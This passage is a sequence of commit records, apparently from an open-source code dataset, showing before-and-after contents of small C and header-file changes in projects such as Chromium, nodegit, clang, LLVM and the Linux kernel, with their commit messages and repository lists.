\/\/ namespace extension_management_api_constants\n\n#endif \/\/ CHROME_BROWSER_EXTENSIONS_EXTENSION_MANAGEMENT_API_CONSTANTS_H_\n","subject":"Remove leftover constant declarations accidentally left behind by a previous patch.","message":"Remove leftover constant declarations accidentally left behind by a previous patch.\n\nBUG=119692\nTEST=compile succeeds\nReview URL: https:\/\/chromiumcodereview.appspot.com\/9903017\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@129799 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"fujunwei\/chromium-crosswalk,littlstar\/chromium.src,timopulkkinen\/BubbleFish,hgl888\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,PeterWangIntel\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,hgl888\/chromium-crosswalk,robclark\/chromium,robclark\/chromium,PeterWangIntel\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,jaruba\/chromium.src,mohamed--abdel-maksoud\/chromium.src,junmin-zhu\/chromium-rivertrail,Pluto-tv\/chromium-crosswalk,zcbenz\/cefode-chromium,ondra-novak\/chromium.src,PeterWangIntel\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,crosswalk-project\/chromium-crosswalk-efl,mogoweb\/chromium-crosswalk,mogoweb\/chromium-crosswalk,patrickm\/chromium.src,junmin-zhu\/chromium-rivertrail,littlstar\/chromium.src,pozdnyakov\/chromium-crosswalk,ChromiumWebApps\/chromium,timopulkkinen\/BubbleFish,anirudhSK\/chromium,Just-D\/chromium-1,PeterWangIntel\/chromium-crosswalk,zcbenz\/cefode-chromium,nacl-webkit\/chrome_deps,mohamed--abdel-maksoud\/chromium.src,TheTypoMaster\/chromium-crosswalk,Fireblend\/chromium-crosswalk,dednal\/chromium.src,junmin-zhu\/chromium-rivertrail,Fireblend\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,M4sse\/chromium.src,M4sse\/chromium.src,junmin-zhu\/chromium-rivertrail,ondra-novak\/chromium.src,ChromiumWebApps\/chromium,robclark\/chromium,markYoungH\/chromium.src,krieger-od\/nwjs_chromium.src,zcbenz\/cefode-chromium,nacl-webkit\/chrome_deps,ondra-novak\/chromium.src,nacl-webkit\/chrome_deps,robclark\/chromium,chuan9\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,Jonekee\/chromium.src,mogoweb\/chromium-crosswalk,zcbenz\/cefode-chromium,krieger-od\/nwjs_chromium.src,patrickm\/chromium.src,krieger-od\/nwjs_chromium.src,dushu1203\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,patrickm\/chromium.src,ChromiumWebApps\/chromium,Pluto-tv\/chromium-crosswalk,keishi\/chromium,ChromiumWebApps\/chromium,jaruba\/chromium.src,jaruba\/chromium.src,fujunwei\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,ChromiumWebApps\/chromium,dushu1203\/chromium.src,axinging\/chromium-crosswalk,markYoungH\/chromium.src,M4sse\/chromium.src,Pluto-tv\/chromium-crosswalk,mohamed--abdel-maksoud\/chromium.src,pozdnyakov\/chromium-crosswalk,TheTypoMaster\/chromium-crosswalk,PeterWangIntel\/chromium-crosswalk,M4sse\/chromium.src,Jonekee\/chromium.src,timopulkkinen\/BubbleFish,chuan9\/chromium-crosswalk,dednal\/chromium.src,timopulkkinen\/BubbleFish,dednal\/chromium.src,dushu1203\/chromium.src,nacl-webkit\/chrome_deps,axinging\/chromium-crosswalk,Just-D\/chromium-1,bright-sparks\/chromium-spacewalk,Chilledheart\/chromium,mohamed--abdel-maksoud\/chromium.src,timopulkkinen\/BubbleFish,mogoweb\/chromium-crosswalk,ltilve\/chromium,nacl-webkit\/chrome_deps,ChromiumWebApps\/chromium,nacl-webkit\/chrome_deps,Jonekee\/chromium.src,markYoungH\/chromium.src,littlstar\/chromium.src,patrickm\/chromium.src,pozdnyakov\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,hujiajie\/pa-chromium,dushu1203\/chromium.src,hujiajie\/pa-chromium,dednal\/chromium.src,Just-D\/chromium-1,mogoweb\/chromium-crosswalk,ChromiumWebApps\/chromium,ltilve\/chromium,Chilledheart\/chromium,Jonekee\/chromium.src,pozdnyakov\/chromium-crosswalk,hgl888\/chromium-crosswalk,anirudhSK\/chromium,littlstar\/chromium.src,chuan9\/chromium-crosswalk,hujiajie\/pa-chromium,Just-D\/chromium-1,axinging\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,Pluto-tv\/chromium-crosswalk,dednal\/chromium.src,hgl888\/chromium-crosswalk-efl,keishi\/chromium,bright-sparks\/chromium-spacewalk,markYoungH\/chromium.src,M4sse\/chromium.src,M4sse\/chromium.src,zcbenz\/cefode-chromium,timopulkkinen\/BubbleFish,Jonekee\/chromium.src,hujiajie\/pa-chromium,anirudhSK\/chromium,dushu1203\/chromium.src,Jonekee\/chromium.src,nacl-webkit\/chrome_deps,Jonekee\/chromium.src,TheTypoMaster\/chromium-crosswalk,axinging\/chromium-crosswalk,Fireblend\/chromium-crosswalk,markYoungH\/chromium.src,axinging\/chromium-crosswalk,markYoungH\/chromium.src,M4sse\/chromium.src,zcbenz\/cefode-chromium,anirudhSK\/chromium,krieger-od\/nwjs_chromium.src,krieger-od\/nwjs_chromium.src,patrickm\/chromium.src,junmin-zhu\/chromium-rivertrail,junmin-zhu\/chromium-rivertrail,pozdnyakov\/chromium-crosswalk,robclark\/chromium,hujiajie\/pa-chromium,markYoungH\/chromium.src,TheTypoMaster\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,krieger-od\/nwjs_chromium.src,Chilledheart\/chromium,pozdnyakov\/chromium-crosswalk,ondra-novak\/chromium.src,dushu1203\/chromium.src,Just-D\/chromium-1,Fireblend\/chromium-crosswalk,robclark\/chromium,Pluto-tv\/chromium-crosswalk,jaruba\/chromium.src,axinging\/chromium-crosswalk,dushu1203\/chromium.src,ltilve\/chromium,Jonekee\/chromium.src,ondra-novak\/chromium.src,ChromiumWebApps\/chromium,Chilledheart\/chromium,fujunwei\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,timopulkkinen\/BubbleFish,pozdnyakov\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,jaruba\/chromium.src,M4sse\/chromium.src,Fireblend\/chromium-crosswalk,littlstar\/chromium.src,keishi\/chromium,mohamed--abdel-maksoud\/chromium.src,hgl888\/chromium-crosswalk-efl,pozdnyakov\/chromium-crosswalk,junmin-zhu\/chromium-rivertrail,anirudhSK\/chromium,zcbenz\/cefode-chromium,hujiajie\/pa-chromium,mohamed--abdel-maksoud\/chromium.src,zcbenz\/cefode-chromium,TheTypoMaster\/chromium-crosswalk,zcbenz\/cefode-chromium,markYoungH\/chromium.src,axinging\/chromium-crosswalk,hgl888\/chromium-crosswalk,keishi\/chromium,jaruba\/chromium.src,junmin-zhu\/chromium-rivertrail,M4sse\/chromium.src,chuan9\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,patrickm\/chromium.src,mogoweb\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,Jonekee\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,Pluto-tv\/chromium-crosswalk,crosswalk-project\/chromium-crosswalk-efl,ondra-novak\/chromium.src,crosswalk-project\/chromium-crosswalk-efl,Jonekee\/chromium.src,jaruba\/chromium.src,hujiajie\/pa-chromium,hgl888\/chromium-crosswalk,mogoweb\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,anirudhSK\/chromium,mohamed--abdel-maksoud\/chromium.src,ltilve\/chromium,TheTypoMaster\/chromium-crosswalk,Chilledheart\/chromium,fujunwei\/chromium-crosswalk,robclark\/chromium,zcbenz\/cefode-chromium,chuan9\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,dushu1203\/chromium.src,TheTypoMaster\/chromium-crosswalk,Pluto-tv\/chromium-crosswalk,dednal\/chromium.src,ondra-novak\/chromium.src,hgl888\/chromium-crosswalk,keishi\/chromium,dednal\/chromium.src,hujiajie\/pa-chromium,fujunwei\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,chuan9\/chromium-crosswalk,mogoweb\/chromium-crosswalk,ltilve\/chromium,robclark\/chromium,zcbenz\/cefode-chromium,keishi\/chromium,Jonekee\/chromium.src,M4sse\/chromium.src,Fireblend\/chromium-crosswalk,markYoungH\/chromium.src,junmin-zhu\/chromium-rivertrail,crosswalk-project\/chromium-crosswalk-efl,mohamed--abdel-maksoud\/chromium.src,mogoweb\/chromium-crosswalk,nacl-webkit\/chrome_deps,ltilve\/chromium,hgl888\/chromium-crosswalk,hgl888\/chromium-crosswalk,dushu1203\/chromium.src,keishi\/chromium,patrickm\/chromium.src,Fireblend\/chromium-crosswalk,keishi\/chromium,PeterWangIntel\/chromium-crosswalk,chuan9\/chromium-crosswalk,axinging\/chromium-crosswalk,hujiajie\/pa-chromium,bright-sparks\/chromium-spacewalk,patrickm\/chromium.src,junmin-zhu\/chromium-rivertrail,robclark\/chromium,ChromiumWebApps\/chromium,anirudhSK\/chromium,dednal\/chromium.src,littlstar\/chromium.src,dushu1203\/chromium.src,ChromiumWebApps\/chromium,chuan9\/chromium-crosswalk,timopulkkinen\/BubbleFish,fujunwei\/chromium-crosswalk,dednal\/chromium.src,jaruba\/chromium.src,anirudhSK\/chromium,patrickm\/chromium.src,hgl888\/chromium-crosswalk-efl,axinging\/chromium-crosswalk,Just-D\/chromium-1,M4sse\/chromium.src,Chilledheart\/chromium,nacl-webkit\/chrome_deps,Chilledheart\/chromium,fujunwei\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,mogoweb\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,timopulkkinen\/BubbleFish,krieger-od\/nwjs_chromium.src,fujunwei\/chromium-crosswalk,Fireblend\/chromium-crosswalk,Just-D\/chromium-1,hujiajie\/pa-chromium,Chilledheart\/chromium,hgl888\/chromium-crosswalk-efl,hgl888\/chromium-crosswalk-efl,keishi\/chromium,ltilve\/chromium,Just-D\/chromium-1,nacl-webkit\/chrome_deps,axinging\/chromium-crosswalk,Just-D\/chromium-1,chuan9\/chromium-crosswalk,ltilve\/chromium,anirudhSK\/chromium,nacl-webkit\/chrome_deps,ltilve\/chromium,mohamed--abdel-maksoud\/chromium.src,ChromiumWebApps\/chromium,markYoungH\/chromium.src,anirudhSK\/chromium,hujiajie\/pa-chromium,TheTypoMaster\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,fujunwei\/chromium-crosswalk,krieger-od\/nwjs_chromium.src,anirudhSK\/chromium,keishi\/chromium,hgl888\/chromium-crosswalk,hgl888\/chromium-crosswalk-efl,anirudhSK\/chromium,ChromiumWebApps\/chromium,dushu1203\/chromium.src,PeterWangIntel\/chromium-crosswalk,bright-sparks\/chromium-spacewalk,axinging\/chromium-crosswalk,dednal\/chromium.src,littlstar\/chromium.src,pozdnyakov\/chromium-crosswalk,pozdnyakov\/chromium-crosswalk,markYoungH\/chromium.src,keishi\/chromium,ondra-novak\/chromium.src,jaruba\/chromium.src,Chilledheart\/chromium,littlstar\/chromium.src,Fireblend\/chromium-crosswalk,ondra-novak\/chromium.src,dednal\/chromium.src,bright-sparks\/chromium-spacewalk,timopulkkinen\/BubbleFish,timopulkkinen\/BubbleFish,bright-sparks\/chromium-spacewalk,jaruba\/chromium.src,jaruba\/chromium.src,robclark\/chromium"} {"commit":"af9bb33aa33d4beb5d0ac505d48530a56856f66c","old_file":"include\/media\/v4l2-image-sizes.h","new_file":"include\/media\/v4l2-image-sizes.h","old_contents":"","new_contents":"\/*\n * Standard image size definitions\n *\n * Copyright (C) 2013, Sylwester Nawrocki \n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License version 2 as\n * published by the Free Software Foundation.\n *\/\n#ifndef _IMAGE_SIZES_H\n#define _IMAGE_SIZES_H\n\n#define CIF_WIDTH\t352\n#define CIF_HEIGHT\t288\n\n#define QCIF_WIDTH\t176\n#define QCIF_HEIGHT\t144\n\n#define QQCIF_WIDTH\t88\n#define QQCIF_HEIGHT\t72\n\n#define QQVGA_WIDTH\t160\n#define QQVGA_HEIGHT\t120\n\n#define QVGA_WIDTH\t320\n#define QVGA_HEIGHT\t240\n\n#define SXGA_WIDTH\t1280\n#define SXGA_HEIGHT\t1024\n\n#define VGA_WIDTH\t640\n#define VGA_HEIGHT\t480\n\n#endif \/* _IMAGE_SIZES_H *\/\n","subject":"Add header file defining standard image sizes","message":"[media] V4L: Add header file defining standard image sizes\n\nAdd common header file defining standard image sizes, so we can\navoid redefining those in each driver.\n\nSigned-off-by: Sylwester Nawrocki <3ec980a5bae855ae8ff893bb06e50918b93af134@gmail.com>\nSigned-off-by: Mauro Carvalho Chehab \n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas"} {"commit":"3a8985756e68560b5aa84adab988b681e1695f84","old_file":"generate\/templates\/manual\/include\/configurable_class_wrapper.h","new_file":"generate\/templates\/manual\/include\/configurable_class_wrapper.h","old_contents":"#ifndef CALLER_CONFIGURABLE_CLASS_WRAPPER_H\n#define CALLER_CONFIGURABLE_CLASS_WRAPPER_H\n\n#include \n#include \n#include \n\n#include \"cleanup_handle.h\"\n\nnamespace nodegit {\n class Context;\n\n template\n class ConfigurableClassWrapper : public CleanupHandle {\n public:\n typedef typename Traits::cType cType;\n typedef typename Traits::configurableCppClass configurableCppClass;\n\n struct v8ConversionResult {\n v8ConversionResult(std::string _error)\n : error(std::move(_error)), result(nullptr)\n {}\n\n v8ConversionResult(std::shared_ptr _result)\n : result(std::move(_result))\n {}\n\n std::string error;\n std::shared_ptr result;\n };\n\n \/\/ We copy the entity\n ConfigurableClassWrapper(nodegit::Context *_nodeGitContext)\n : nodegitContext(_nodeGitContext), raw(nullptr) {}\n\n virtual ~ConfigurableClassWrapper() {\n if (raw != nullptr) {\n delete raw;\n raw = nullptr;\n }\n }\n\n const Context *nodegitContext = nullptr;\n cType *GetValue() {\n return raw;\n }\n\n protected:\n cType *raw;\n std::vector> childCleanupVector;\n };\n}\n\n#endif\n","new_contents":"#ifndef CALLER_CONFIGURABLE_CLASS_WRAPPER_H\n#define CALLER_CONFIGURABLE_CLASS_WRAPPER_H\n\n#include \n#include \n#include \n\n#include \"cleanup_handle.h\"\n\nnamespace nodegit {\n class Context;\n\n template\n class ConfigurableClassWrapper : public CleanupHandle {\n public:\n typedef typename Traits::cType cType;\n typedef typename Traits::configurableCppClass configurableCppClass;\n\n struct v8ConversionResult {\n v8ConversionResult(std::string _error)\n : error(std::move(_error)), result(nullptr)\n {}\n\n v8ConversionResult(std::shared_ptr _result)\n : result(std::move(_result))\n {}\n\n std::string error;\n std::shared_ptr result;\n };\n\n \/\/ We copy the entity\n ConfigurableClassWrapper(nodegit::Context *_nodeGitContext)\n : nodegitContext(_nodeGitContext), raw(nullptr) {}\n\n ConfigurableClassWrapper(const ConfigurableClassWrapper &) = delete;\n ConfigurableClassWrapper(ConfigurableClassWrapper &&) = delete;\n ConfigurableClassWrapper &operator=(const ConfigurableClassWrapper &) = delete;\n ConfigurableClassWrapper &operator=(ConfigurableClassWrapper &&) = delete;\n\n virtual ~ConfigurableClassWrapper() {\n if (raw != nullptr) {\n delete raw;\n raw = nullptr;\n }\n }\n\n const Context *nodegitContext = nullptr;\n cType *GetValue() {\n return raw;\n }\n\n protected:\n cType *raw;\n std::vector> childCleanupVector;\n };\n}\n\n#endif\n","subject":"Delete copy and move constructors for ConfigurableClassWrapper","message":"Delete copy and move constructors for ConfigurableClassWrapper\n\n","lang":"C","license":"mit","repos":"jmurzy\/nodegit,jmurzy\/nodegit,nodegit\/nodegit,nodegit\/nodegit,jmurzy\/nodegit,jmurzy\/nodegit,nodegit\/nodegit,nodegit\/nodegit,nodegit\/nodegit,jmurzy\/nodegit"} {"commit":"8e37740dc6b20c6ec044e5db3b23894614c7784f","old_file":"test\/Driver\/offloading-interoperability.c","new_file":"test\/Driver\/offloading-interoperability.c","old_contents":"\/\/ REQUIRES: clang-driver\n\/\/ REQUIRES: powerpc-registered-target\n\/\/ REQUIRES: nvptx-registered-target\n\n\/\/\n\/\/ Verify that CUDA device commands do not get OpenMP flags.\n\/\/\n\/\/ RUN: %clang -### -x cuda -target powerpc64le-linux-gnu -std=c++11 --cuda-gpu-arch=sm_35 -fopenmp %s 2>&1 \\\n\/\/ RUN: | FileCheck %s --check-prefix NO-OPENMP-FLAGS-FOR-CUDA-DEVICE\n\/\/\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE: clang{{.*}}\" \"-cc1\" \"-triple\" \"nvptx64-nvidia-cuda\"\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NOT: -fopenmp\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: ptxas\" \"-m64\"\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: fatbinary\" \"--cuda\" \"-64\"\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: clang{{.*}}\" \"-cc1\" \"-triple\" \"powerpc64le--linux-gnu\"\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE: -fopenmp\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: ld\" \"-z\" \"relro\" \"--hash-style=gnu\" \"--eh-frame-hdr\" \"-m\" \"elf64lppc\"\n","new_contents":"\/\/ REQUIRES: clang-driver\n\/\/ REQUIRES: powerpc-registered-target\n\/\/ REQUIRES: nvptx-registered-target\n\n\/\/\n\/\/ Verify that CUDA device commands do not get OpenMP flags.\n\/\/\n\/\/ RUN: %clang -### -x cuda -target powerpc64le-linux-gnu -std=c++11 --cuda-gpu-arch=sm_35 -fopenmp %s 2>&1 \\\n\/\/ RUN: | FileCheck %s --check-prefix NO-OPENMP-FLAGS-FOR-CUDA-DEVICE\n\/\/\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE: clang{{.*}}\" \"-cc1\" \"-triple\" \"nvptx64-nvidia-cuda\"\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NOT: -fopenmp\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: ptxas\" \"-m64\"\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: fatbinary\" \"--cuda\" \"-64\"\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: clang{{.*}}\" \"-cc1\" \"-triple\" \"powerpc64le--linux-gnu\"\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE: -fopenmp\n\/\/ NO-OPENMP-FLAGS-FOR-CUDA-DEVICE-NEXT: ld\" {{.*}}\"-m\" \"elf64lppc\"\n","subject":"Fix link command pattern in offloading interoperability test.","message":"[OpenMP] Fix link command pattern in offloading interoperability test.\n\nIt was causing a few bots to fail.\n\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@276983 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"} {"commit":"14320dcce2895b07e85d11bdbb1d47aaeaad9142","old_file":"server.h","new_file":"server.h","old_contents":"#ifndef _SERVER_H\n#define _SERVER_H\n#include \n#include \n#include \"list.h\"\n#include \"threadpool.h\"\nint open_listenfd(int port);\nvoid* check_connections(void* data);\n\nstruct http_socket {\n int fd;\n \/*struct pollfd* poll_fd;*\/\n struct epoll_event event;\n char* read_buffer;\n int read_buffer_size;\n time_t last_access;\n struct list_elem elem;\n};\n\nstruct future_elem {\n struct future* future;\n struct list_elem elem;\n};\n#endif\n\n","new_contents":"#ifndef _SERVER_H\n#define _SERVER_H\n#include \n#include \n#include \"list.h\"\n#include \"threadpool.h\"\nstruct http_socket;\n\nint open_listenfd(int port);\nvoid* check_connections(void* data);\nint watch_read(struct http_socket* http);\nint watch_write(struct http_socket* http);\nint destroy_socket(struct http_socket* http);\n\nstruct http_socket {\n int fd;\n \/*struct pollfd* poll_fd;*\/\n struct epoll_event event;\n char* read_buffer;\n int read_buffer_size;\n time_t last_access;\n struct list_elem elem;\n};\n\nstruct future_elem {\n struct future* future;\n struct list_elem elem;\n};\n#endif\n\n","subject":"Define functions for polling of sockets.","message":"Define functions for polling of sockets.\n","lang":"C","license":"apache-2.0","repos":"tbporter\/http-server,tbporter\/http-server,tbporter\/http-server"} {"commit":"f9457b88e1be84a0a03f8185d4b86e9f07562506","old_file":"pblib\/pblib\/PBMacros.h","new_file":"pblib\/pblib\/PBMacros.h","old_contents":"\/\/\n\/\/ PBMacros.h\n\/\/ pblib\n\/\/\n\/\/ Created by haxpor on 3\/5\/15.\n\/\/ Copyright (c) 2015 Maethee Chongchitnant. All rights reserved.\n\/\/\n\n#ifndef pblib_PBMacros_h\n#define pblib_PBMacros_h\n\n#define PB_IS_NSNull(obj) ((obj == (id)[NSNull null]) ? YES : NO)\n\n#define PB_IS_NIL_OR_NSNull(obj) ((obj == nil) || (obj == (id)[NSNull null]) ? YES : NO)\n#endif\n","new_contents":"\/\/\n\/\/ PBMacros.h\n\/\/ pblib\n\/\/\n\/\/ Created by haxpor on 3\/5\/15.\n\/\/ Copyright (c) 2015 Maethee Chongchitnant. All rights reserved.\n\/\/\n\n#ifndef pblib_PBMacros_h\n#define pblib_PBMacros_h\n\n\/**\n Check against NSNull.\n If input obj is NSNull then return YES, otherwise return NO.\n *\/\n#define PB_IS_NSNull(obj) ((obj == (id)[NSNull null]) ? YES : NO)\n\n\/**\n Check against nil or NSNull.\n If input obj is nil, or NSNull then return YES, otherwise return NO.\n *\/\n#define PB_IS_NIL_OR_NSNull(obj) ((obj == nil) || (obj == (id)[NSNull null]) ? YES : NO)\n\n#endif\n","subject":"Add comment for added macros.","message":"Add comment for added macros.\n","lang":"C","license":"mit","repos":"haxpor\/playbasis-ios,haxpor\/playbasis-ios,playbasis\/mobile-sdk-ios"} {"commit":"49d804b0623790650086764dfdda15cc36b068e4","old_file":"pkg\/fizhi\/fizhi_land_SIZE.h","new_file":"pkg\/fizhi\/fizhi_land_SIZE.h","old_contents":"C $Header$\nC $Name$\n\nc Land Grid Horizontal Dimension (Number of Tiles)\nc ------------------------------------------------\n integer nchp, maxtyp\n parameter (maxtyp = 10)\nc parameter (nchp = sNx*sNy*maxtyp)\n parameter (nchp = 2048)\n","new_contents":"C $Header$\nC $Name$\n\nc Land Grid Horizontal Dimension (Number of Tiles)\nc ------------------------------------------------\n integer nchp, maxtyp\n parameter (maxtyp = 10)\n parameter (nchp = sNx*sNy*maxtyp)\n","subject":"Make sure nchp is big enough for real vegetation tiles","message":"Make sure nchp is big enough for real vegetation tiles\n","lang":"C","license":"mit","repos":"altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h,altMITgcm\/MITgcm66h"} {"commit":"756145fb4b46c5a8a77c4a3e0bef8c5382fbd951","old_file":"tests\/regression\/02-base\/61-no-int-context.c","new_file":"tests\/regression\/02-base\/61-no-int-context.c","old_contents":"","new_contents":"\/\/ PARAM: --enable ana.int.interval --disable exp.widen-context --disable ana.base.context.int\n#include \n\nint f(int x) {\n if (x)\n return f(x+1);\n else\n return x;\n}\n\nint main () {\n int a = f(1);\n assert(!a);\n return 0;\n}\n","subject":"Add test for ana.base.context.int disabled","message":"Add test for ana.base.context.int disabled\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"} {"commit":"962d09e8e4566fe6780f106e98d8b131542defb5","old_file":"ui\/aura\/aura_switches.h","new_file":"ui\/aura\/aura_switches.h","old_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef UI_AURA_AURA_SWITCHES_H_\n#define UI_AURA_AURA_SWITCHES_H_\n#pragma once\n\nnamespace switches {\n\nextern const char kAuraHostWindowSize[];\nextern const char kAuraWindows[];\n\n} \/\/ namespace switches\n\n#endif \/\/ UI_AURA_AURA_SWITCHES_H_\n","new_contents":"\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef UI_AURA_AURA_SWITCHES_H_\n#define UI_AURA_AURA_SWITCHES_H_\n#pragma once\n\n#include \"ui\/aura\/aura_export.h\"\n\nnamespace switches {\n\nAURA_EXPORT extern const char kAuraHostWindowSize[];\nAURA_EXPORT extern const char kAuraWindows[];\n\n} \/\/ namespace switches\n\n#endif \/\/ UI_AURA_AURA_SWITCHES_H_\n","subject":"Fix shared library build for aura.","message":"Fix shared library build for aura.\n\nTBR=ben@chromium.org,derat@chromium.org\nR=ben@chromium.org,derat@chromium.org\nBUG=none\nTEST=none\n\nReview URL: http:\/\/codereview.chromium.org\/8438039\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@108299 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"yitian134\/chromium,yitian134\/chromium,adobe\/chromium,ropik\/chromium,gavinp\/chromium,adobe\/chromium,gavinp\/chromium,gavinp\/chromium,ropik\/chromium,adobe\/chromium,yitian134\/chromium,gavinp\/chromium,gavinp\/chromium,gavinp\/chromium,ropik\/chromium,ropik\/chromium,gavinp\/chromium,yitian134\/chromium,yitian134\/chromium,yitian134\/chromium,adobe\/chromium,gavinp\/chromium,adobe\/chromium,ropik\/chromium,ropik\/chromium,gavinp\/chromium,gavinp\/chromium,ropik\/chromium,adobe\/chromium,adobe\/chromium,yitian134\/chromium,yitian134\/chromium,adobe\/chromium,adobe\/chromium,yitian134\/chromium,yitian134\/chromium,ropik\/chromium,ropik\/chromium,adobe\/chromium,adobe\/chromium"} {"commit":"c5f7bcbae9e82ae3e54987510397d063b941d14f","old_file":"test\/CFrontend\/2007-05-07-NestedStructReturn.c","new_file":"test\/CFrontend\/2007-05-07-NestedStructReturn.c","old_contents":"\/\/ RUN: %llvmgcc %s -S -fnested-functions -o - | grep {sret *%agg.result}\n\nstruct X { int m, n; };\n\nstruct X p(int n) {\n struct X c(int m) {\n struct X x;\n x.m = m;\n x.n = n;\n return x;\n }\n return c(n);\n}\n","new_contents":"\/\/ RUN: %llvmgcc %s -S -fnested-functions -o - | grep {sret *%agg.result}\n\nstruct X { int m, n, o, p; };\n\nstruct X p(int n) {\n struct X c(int m) {\n struct X x;\n x.m = m;\n x.n = n;\n return x;\n }\n return c(n);\n}\n","subject":"Make the struct bigger, in an attempt to get a \"struct return\" on more platforms.","message":"Make the struct bigger, in an attempt to get a \"struct return\" on more\nplatforms.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@37489 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"chubbymaggie\/asap,apple\/swift-llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,apple\/swift-llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap"} {"commit":"35069f4960fce71e3d8052465ee90b70e6eb3b55","old_file":"plugins\/webpresence\/webpresenceprefs.ui.h","new_file":"plugins\/webpresence\/webpresenceprefs.ui.h","old_contents":"","new_contents":"\/****************************************************************************\n** ui.h extension file, included from the uic-generated form implementation.\n**\n** If you wish to add, delete or rename functions or slots use\n** Qt Designer which will update this file, preserving your code. Create an\n** init() function in place of a constructor, and a destroy() function in\n** place of a destructor.\n*****************************************************************************\/\n\n\nvoid WebPresencePrefsUI::init()\n{\n m_url->setMode( KFile::File );\n m_userStyleSheet->setFilter( \"*.xsl\" );\n}\n","subject":"Support using KURLRequester with remote files","message":"Support using KURLRequester with remote files\n\nsvn path=\/trunk\/kdenetwork\/kopete\/; 